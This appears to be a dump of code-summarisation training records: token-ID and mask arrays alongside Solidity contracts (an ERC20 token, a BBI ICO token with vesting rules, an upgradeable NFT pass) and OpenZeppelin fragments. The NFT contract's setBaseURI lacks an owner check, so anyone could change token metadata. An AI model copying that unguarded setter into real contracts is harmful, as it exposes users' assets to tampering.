0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
13866,
14667,
12,
2867,
1147,
37,
16,
2254,
5034,
3844,
16,
1758,
729,
16,
1758,
8630,
73,
13,
2713,
288,
203,
3639,
2254,
5034,
14036,
6275,
273,
1234,
18,
1132,
31,
203,
3639,
309,
261,
2316,
37,
411,
423,
12992,
67,
3865,
706,
55,
13,
288,
203,
5411,
14036,
6275,
3947,
3844,
31,
203,
3639,
289,
203,
3639,
2583,
12,
21386,
6275,
1545,
4929,
14667,
397,
1161,
14667,
16,
315,
5048,
11339,
4929,
14036,
8863,
203,
3639,
2254,
5034,
2229,
27998,
273,
16189,
4482,
5621,
203,
3639,
2254,
5034,
1308,
14667,
273,
14036,
6275,
300,
4929,
14667,
31,
203,
203,
3639,
2254,
5034,
8630,
73,
14667,
6275,
31,
203,
3639,
2254,
5034,
8630,
73,
14667,
4727,
273,
467,
426,
381,
70,
295,
307,
475,
12,
16351,
23824,
2934,
588,
13211,
73,
14667,
12,
12687,
73,
16,
1758,
12,
2211,
10019,
203,
3639,
309,
261,
12687,
73,
14667,
4727,
480,
374,
597,
1308,
14667,
480,
374,
13,
288,
203,
5411,
309,
261,
2316,
37,
411,
423,
12992,
67,
3865,
706,
55,
13,
288,
203,
7734,
8630,
73,
14667,
6275,
273,
3844,
380,
8630,
73,
14667,
4727,
342,
12619,
31,
203,
7734,
8630,
73,
14667,
6275,
273,
261,
3011,
14667,
380,
8630,
73,
14667,
4727,
13176,
12,
12687,
73,
14667,
4727,
397,
9395,
14667,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
2583,
12,
3011,
14667,
1545,
1161,
14667,
397,
8630,
73,
14667,
6275,
16,
315,
5048,
696,
14463,
970,
14036,
8863,
203,
3639,
14036,
6275,
3947,
8630,
73,
14667,
6275,
31,
2
] |
./partial_match/1/0x4DC18204dF0515121454EC45a785B1c273415213/sources/ZEROY.sol
|
* @title ERC20Decimals @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot./
|
contract ZEROY is ERC20 {
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 888888888888 * 10 ** 18;
constructor () ERC20('0y.io', unicode"0y", _msgSender()) {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
| 4,369,289 |
[
1,
654,
39,
3462,
31809,
225,
25379,
434,
326,
4232,
39,
3462,
31809,
18,
10021,
434,
288,
654,
39,
3462,
97,
716,
4831,
15105,
2502,
4694,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
18449,
61,
353,
4232,
39,
3462,
288,
203,
565,
2254,
28,
11732,
3238,
389,
31734,
273,
6549,
31,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
273,
1725,
5482,
5482,
5482,
5482,
5482,
28,
380,
1728,
2826,
6549,
31,
203,
203,
203,
565,
3885,
1832,
4232,
39,
3462,
2668,
20,
93,
18,
1594,
2187,
5252,
6,
20,
93,
3113,
389,
3576,
12021,
10756,
288,
203,
3639,
389,
81,
474,
24899,
3576,
12021,
9334,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BBIToken is StandardToken {
string public constant name = "Beluga Banking Infrastructure Token";
string public constant symbol = "BBI";
uint256 public constant decimals= 18;
uint public totalUsed = 0;
uint public etherRaised = 0;
/*
* ICO : 01-Mar-2018 00:00:00 GMT - 31-Mar-2018 23:59:59 GMT
*/
uint public icoEndDate = 1522540799; // 31-Mar-2018 23:59:59 GMT
uint constant SECONDS_IN_YEAR = 31536000; // 365 * 24 * 60 * 60 secs
// flag for emergency stop or start
bool public halted = false;
uint public etherCap = 30000 * (10 ** uint256(decimals)); // 30,000 Ether
uint public maxAvailableForSale = 29800000 * (10 ** uint256(decimals)); // ( 29.8M )
uint public tokensPreSale = 10200000 * (10 ** uint256(decimals)); // ( 10.2M )
uint public tokensTeam = 30000000 * (10 ** uint256(decimals)); // ( 30M )
uint public tokensCommunity = 5000000 * (10 ** uint256(decimals)); // ( 5M )
uint public tokensMasterNodes = 5000000 * (10 ** uint256(decimals)); // ( 5M )
uint public tokensBankPartners = 5000000 * (10 ** uint256(decimals)); // ( 5M )
uint public tokensDataProviders = 5000000 * (10 ** uint256(decimals)); // ( 5M )
/*
* team classification flag
* for defining the lock period
*/
uint constant teamInternal = 1; // team and community
uint constant teamPartners = 2; // bank partner, data providers etc
uint constant icoInvestors = 3; // ico investors
/*
* Addresses
*/
address public addressETHDeposit = 0x0D2b5B427E0Bd97c71D4DF281224540044D279E1;
address public addressTeam = 0x7C898F01e85a5387D58b52C6356B5AE0D5aa48ba;
address public addressCommunity = 0xB7218D5a1f1b304E6bD69ea35C93BA4c1379FA43;
address public addressBankPartners = 0xD5BC3c2894af7CB046398257df7A447F44b0CcA1;
address public addressDataProviders = 0x9f6fce8c014210D823FdFFA274f461BAdC279A42;
address public addressMasterNodes = 0x8ceA6dABB68bc9FCD6982E537A16bC9D219605b0;
address public addressPreSale = 0x2526082305FdB4B999340Db3D53bD2a60F674101;
address public addressICOManager = 0xE5B3eF1fde3761225C9976EBde8D67bb54d7Ae17;
/*
* Contract Constructor
*/
function BBIToken() public {
totalSupply_ = 90000000 * (10 ** uint256(decimals)); // 90,000,000 - 90M;
balances[addressTeam] = tokensTeam;
balances[addressCommunity] = tokensCommunity;
balances[addressBankPartners] = tokensBankPartners;
balances[addressDataProviders] = tokensDataProviders;
balances[addressMasterNodes] = tokensMasterNodes;
balances[addressPreSale] = tokensPreSale;
balances[addressICOManager] = maxAvailableForSale;
Transfer(this, addressTeam, tokensTeam);
Transfer(this, addressCommunity, tokensCommunity);
Transfer(this, addressBankPartners, tokensBankPartners);
Transfer(this, addressDataProviders, tokensDataProviders);
Transfer(this, addressMasterNodes, tokensMasterNodes);
Transfer(this, addressPreSale, tokensPreSale);
Transfer(this, addressICOManager, maxAvailableForSale);
}
/*
* Emergency Stop or Start ICO.
*/
function halt() onlyManager public{
require(msg.sender == addressICOManager);
halted = true;
}
function unhalt() onlyManager public {
require(msg.sender == addressICOManager);
halted = false;
}
/*
* Check whether ICO running or not.
*/
modifier onIcoRunning() {
// Checks, if ICO is running and has not been stopped
require( halted == false);
_;
}
modifier onIcoStopped() {
// Checks if ICO was stopped or deadline is reached
require( halted == true);
_;
}
modifier onlyManager() {
// only ICO manager can do this action
require(msg.sender == addressICOManager);
_;
}
/*
* ERC 20 Standard Token interface transfer function
* Prevent transfers until ICO period is over.
*
* Transfer
* - Allow 50% after six months for Community and Team
* - Allow all including (Dataproviders, MasterNodes, Bank) after one year
* - Allow Investors after ICO end date
*/
function transfer(address _to, uint256 _value) public returns (bool success)
{
if ( msg.sender == addressICOManager) { return super.transfer(_to, _value); }
// Team can transfer upto 50% of tokens after six months of ICO end date
if ( !halted && msg.sender == addressTeam && SafeMath.sub(balances[msg.sender], _value) >= tokensTeam/2 && (now > icoEndDate + SECONDS_IN_YEAR/2) )
{ return super.transfer(_to, _value); }
// Community can transfer upto 50% of tokens after six months of ICO end date
if ( !halted && msg.sender == addressCommunity && SafeMath.sub(balances[msg.sender], _value) >= tokensCommunity/2 && (now > icoEndDate + SECONDS_IN_YEAR/2) )
{ return super.transfer(_to, _value); }
// ICO investors can transfer after the ICO period
if ( !halted && identifyAddress(msg.sender) == icoInvestors && now > icoEndDate ) { return super.transfer(_to, _value); }
// All can transfer after a year from ICO end date
if ( !halted && now > icoEndDate + SECONDS_IN_YEAR) { return super.transfer(_to, _value); }
return false;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
{
if ( msg.sender == addressICOManager) { return super.transferFrom(_from,_to, _value); }
// Team can transfer upto 50% of tokens after six months of ICO end date
if ( !halted && msg.sender == addressTeam && SafeMath.sub(balances[msg.sender], _value) >= tokensTeam/2 && (now > icoEndDate + SECONDS_IN_YEAR/2) )
{ return super.transferFrom(_from,_to, _value); }
// Community can transfer upto 50% of tokens after six months of ICO end date
if ( !halted && msg.sender == addressCommunity && SafeMath.sub(balances[msg.sender], _value) >= tokensCommunity/2 && (now > icoEndDate + SECONDS_IN_YEAR/2))
{ return super.transferFrom(_from,_to, _value); }
// ICO investors can transfer after the ICO period
if ( !halted && identifyAddress(msg.sender) == icoInvestors && now > icoEndDate ) { return super.transferFrom(_from,_to, _value); }
// All can transfer after a year from ICO end date
if ( !halted && now > icoEndDate + SECONDS_IN_YEAR) { return super.transferFrom(_from,_to, _value); }
return false;
}
function identifyAddress(address _buyer) constant public returns(uint) {
if (_buyer == addressTeam || _buyer == addressCommunity) return teamInternal;
if (_buyer == addressMasterNodes || _buyer == addressBankPartners || _buyer == addressDataProviders) return teamPartners;
return icoInvestors;
}
/**
* Destroy tokens
* Remove _value tokens from the system irreversibly
*/
function burn(uint256 _value) onlyManager public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough BBI
balances[msg.sender] -= _value; // Subtract from the sender
totalSupply_ -= _value; // Updates totalSupply
return true;
}
/*
* main function for receiving the ETH from the investors
* and transferring tokens after calculating the price
*/
function buyBBITokens(address _buyer, uint256 _value) internal {
// prevent transfer to 0x0 address
require(_buyer != 0x0);
// msg value should be more than 0
require(_value > 0);
// if not halted
require(!halted);
// Now is before ICO end date
require(now < icoEndDate);
// total tokens is price (1ETH = 960 tokens) multiplied by the ether value provided
uint tokens = (SafeMath.mul(_value, 960));
// total used + tokens should be less than maximum available for sale
require(SafeMath.add(totalUsed, tokens) < balances[addressICOManager]);
// Ether raised + new value should be less than the Ether cap
require(SafeMath.add(etherRaised, _value) < etherCap);
balances[_buyer] = SafeMath.add( balances[_buyer], tokens);
balances[addressICOManager] = SafeMath.sub(balances[addressICOManager], tokens);
totalUsed += tokens;
etherRaised += _value;
addressETHDeposit.transfer(_value);
Transfer(this, _buyer, tokens );
}
/*
* default fall back function
*/
function () payable onIcoRunning public {
buyBBITokens(msg.sender, msg.value);
}
}
|
prevent transfer to 0x0 address msg value should be more than 0 if not halted Now is before ICO end date total tokens is price (1ETH = 960 tokens) multiplied by the ether value provided total used + tokens should be less than maximum available for sale Ether raised + new value should be less than the Ether cap
|
function buyBBITokens(address _buyer, uint256 _value) internal {
require(_buyer != 0x0);
require(_value > 0);
require(!halted);
require(now < icoEndDate);
uint tokens = (SafeMath.mul(_value, 960));
require(SafeMath.add(totalUsed, tokens) < balances[addressICOManager]);
require(SafeMath.add(etherRaised, _value) < etherCap);
balances[_buyer] = SafeMath.add( balances[_buyer], tokens);
balances[addressICOManager] = SafeMath.sub(balances[addressICOManager], tokens);
totalUsed += tokens;
etherRaised += _value;
addressETHDeposit.transfer(_value);
Transfer(this, _buyer, tokens );
}
| 944,771 |
[
1,
29150,
7412,
358,
374,
92,
20,
1758,
1234,
460,
1410,
506,
1898,
2353,
374,
309,
486,
19514,
2344,
4494,
353,
1865,
467,
3865,
679,
1509,
2078,
2430,
353,
6205,
261,
21,
1584,
44,
273,
2468,
4848,
2430,
13,
27789,
635,
326,
225,
2437,
460,
2112,
2078,
1399,
397,
2430,
1410,
506,
5242,
2353,
4207,
2319,
364,
272,
5349,
512,
1136,
11531,
397,
394,
460,
1410,
506,
5242,
2353,
326,
512,
1136,
3523,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
30143,
9676,
1285,
3573,
12,
2867,
389,
70,
16213,
16,
2254,
5034,
389,
1132,
13,
2713,
225,
288,
203,
5411,
2583,
24899,
70,
16213,
480,
374,
92,
20,
1769,
203,
203,
5411,
2583,
24899,
1132,
405,
374,
1769,
203,
203,
5411,
2583,
12,
5,
22314,
2344,
1769,
203,
203,
5411,
2583,
12,
3338,
411,
277,
2894,
24640,
1769,
203,
203,
5411,
2254,
2430,
273,
261,
9890,
10477,
18,
16411,
24899,
1132,
16,
2468,
4848,
10019,
203,
203,
5411,
2583,
12,
9890,
10477,
18,
1289,
12,
4963,
6668,
16,
2430,
13,
411,
324,
26488,
63,
2867,
2871,
51,
1318,
19226,
203,
203,
5411,
2583,
12,
9890,
10477,
18,
1289,
12,
2437,
12649,
5918,
16,
389,
1132,
13,
411,
225,
2437,
4664,
1769,
203,
2398,
203,
5411,
324,
26488,
63,
67,
70,
16213,
65,
273,
14060,
10477,
18,
1289,
12,
324,
26488,
63,
67,
70,
16213,
6487,
2430,
1769,
203,
5411,
324,
26488,
63,
2867,
2871,
51,
1318,
65,
273,
14060,
10477,
18,
1717,
12,
70,
26488,
63,
2867,
2871,
51,
1318,
6487,
2430,
1769,
203,
5411,
2078,
6668,
1011,
2430,
31,
2398,
203,
5411,
225,
2437,
12649,
5918,
1011,
389,
1132,
31,
21281,
4202,
203,
5411,
1758,
1584,
44,
758,
1724,
18,
13866,
24899,
1132,
1769,
203,
5411,
12279,
12,
2211,
16,
389,
70,
16213,
16,
2430,
11272,
203,
3639,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "./TheModernAcreNFTPassBase.sol";
contract TheModernAcreNFTPass is
ERC721EnumerableUpgradeable,
OwnableUpgradeable,
PausableUpgradeable,
TheModernAcreNFTPassBase
{
using StringsUpgradeable for uint256;
function initialize(
uint256 _tps,
uint256 _trs,
uint256 _tms,
uint256 _price,
string memory _bu,
string[] memory _images
) public initializer {
__ERC721_init("TheModernAcreNFTPass", "TMAP");
__Ownable_init();
__Pausable_init();
TOTAL_PUBLIC_SUPPLY = _tps;
TOTAL_RESERVED_SUPPLY = _trs;
TOTAL_MENTOR_SUPPLY = _tms;
TOTAL_MENTEE_SUPPLY = _tms;
BASE_URI = _bu;
PRICE = _price;
images = _images;
}
function mint(uint256 amount) external payable {
require(!paused(), "NFT is paused.");
require(!presale, "NFT presale mint is over.");
require(
msg.value >= amount * PRICE,
"TheModernAcreNFTPass: Insufficient funds"
);
require(amountMintedPublic < TOTAL_PUBLIC_SUPPLY, "No more NFTs");
// require(balanceOf(_msgSender()) == 0, "You already own one TheModernAcreNFT");
funds += msg.value;
uint256 actualAmount;
if (amount + amountMintedPublic > TOTAL_PUBLIC_SUPPLY)
actualAmount = TOTAL_PUBLIC_SUPPLY - amountMintedPublic;
else actualAmount = amount;
for (uint256 i = 0; i < actualAmount; i++) {
_safeMint(_msgSender(), amountMintedTotal);
tokenIdToImage[amountMintedTotal] = amountMintedTotal % 6;
amountMintedTotal++;
}
amountMintedPublic += actualAmount;
}
function reserveMint(uint256 image, uint256 amount) external onlyOwner {
require(!paused(), "TheModernAcreNFTPass: NFT is paused.");
require(
amountMintedReserved + amount <= TOTAL_RESERVED_SUPPLY ||
amountMintedPublic + amount <= TOTAL_PUBLIC_SUPPLY,
"TheModernAcreNFTPass: No more NFTs"
);
if (amountMintedReserved + amount <= TOTAL_RESERVED_SUPPLY) {
for (uint256 i = 0; i < amount; i++) {
_safeMint(owner(), amountMintedTotal);
tokenIdToImage[amountMintedTotal] = image;
amountMintedTotal++;
}
amountMintedReserved += amount;
} else if (amountMintedPublic + amount <= TOTAL_PUBLIC_SUPPLY) {
for (uint256 i = 0; i < amount; i++) {
_safeMint(owner(), amountMintedTotal);
tokenIdToImage[amountMintedTotal] = image;
amountMintedTotal++;
}
amountMintedPublic += amount;
}
}
function airdropMentorPass(address airdropee) external onlyOwner {
require(!paused(), "TheModernAcreNFTPass: NFT is paused.");
require(
amountMintedMentor < TOTAL_MENTOR_SUPPLY,
"TheModernAcreNFTPass: No more NFTs"
);
_safeMint(airdropee, amountMintedTotal);
tokenIdToImage[amountMintedTotal] = 6;
amountMintedTotal++;
amountMintedMentor++;
}
function airdropMenteePass(address airdropee, uint256 image)
external
onlyOwner
{
require(!paused(), "TheModernAcreNFTPass: NFT is paused.");
require(
amountMintedMentee < TOTAL_MENTEE_SUPPLY,
"TheModernAcreNFTPass: No more NFTs"
);
_safeMint(airdropee, amountMintedTotal);
tokenIdToImage[amountMintedTotal] = image;
amountMintedTotal++;
amountMintedMentee++;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(
abi.encodePacked(
baseURI,
tokenIdToImage[tokenId].toString(),
".json"
)
)
: "";
}
function setBaseURI(string memory _URI) external {
BASE_URI = _URI;
}
function setImage(uint256 tokenId, uint256 image) external onlyOwner {
tokenIdToImage[tokenId] = image;
}
function _baseURI() internal view override returns (string memory) {
return BASE_URI;
}
function pauseNFT() external onlyOwner {
if (paused()) _unpause();
else _pause();
}
function setPrice(uint256 newPrice) external onlyOwner {
require(newPrice > 0, "Cannot be free");
PRICE = newPrice;
}
function setPresale() external onlyOwner {
presale = !presale;
}
function withdrawBalance() external payable onlyOwner {
payable(owner()).transfer(funds);
funds = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./TheModernAcreNFTPassBase.sol";
contract TheModernAcreNFTPassBase {
uint256 public TOTAL_PUBLIC_SUPPLY;
uint256 public TOTAL_RESERVED_SUPPLY;
uint256 public TOTAL_MENTOR_SUPPLY;
uint256 public TOTAL_MENTEE_SUPPLY;
uint256 public amountMintedTotal;
uint256 public amountMintedPublic;
uint256 public amountMintedReserved;
uint256 public amountMintedMentor;
uint256 public amountMintedMentee;
uint256 funds;
uint256 public PRICE;
uint256[] public mentorTokenIds;
mapping(uint256 => uint256) tokenIdToImage;
string[] images;
string public BASE_URI;
bool public presale;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
